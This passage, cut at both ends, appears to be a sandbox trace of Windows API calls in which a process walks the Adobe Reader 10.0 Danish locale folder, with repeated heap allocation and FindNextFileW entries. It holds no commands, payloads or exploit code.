dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0081.693] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x127a7b0 [0081.693] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x127a7b0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x127a7b0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a7b0) returned 1 [0081.693] NtClose (Handle=0x16c) returned 0x0 [0081.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.694] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0081.696] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.696] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="")) returned 1 [0081.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12593a8 [0081.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b438 [0081.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.697] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0081.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12593c8 [0081.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b648 [0081.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.699] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DAN", cAlternateFileName="")) returned 1 [0081.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12593e8 [0081.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b540 [0081.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.700] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0081.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259408 [0081.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b960 [0081.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.701] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DAN", cAlternateFileName="")) returned 1 [0081.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259428 [0081.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126ba68 [0081.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.703] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0081.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259448 [0081.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126bb70 [0081.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.704] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0081.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259468 [0081.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126bc78 [0081.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.706] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0081.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259488 [0081.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126bd80 [0081.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.707] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0081.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12594a8 [0081.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126be88 [0081.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0081.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12594c8 [0081.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126bf90 [0081.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.710] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0081.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12594e8 [0081.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c098 [0081.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.711] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DAN", cAlternateFileName="")) returned 1 [0081.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259508 [0081.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c1a0 [0081.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.713] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DAN", cAlternateFileName="")) returned 1 [0081.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259528 [0081.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c2a8 [0081.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.714] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0081.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259548 [0081.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c3b0 [0081.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6980) returned 0x127a7b0 [0081.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273e68) returned 1 [0081.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.716] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0081.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259568 [0081.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c4b8 [0081.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.719] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0081.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259588 [0081.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126c5c0 [0081.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.720] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DAN", cAlternateFileName="")) returned 1 [0081.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, 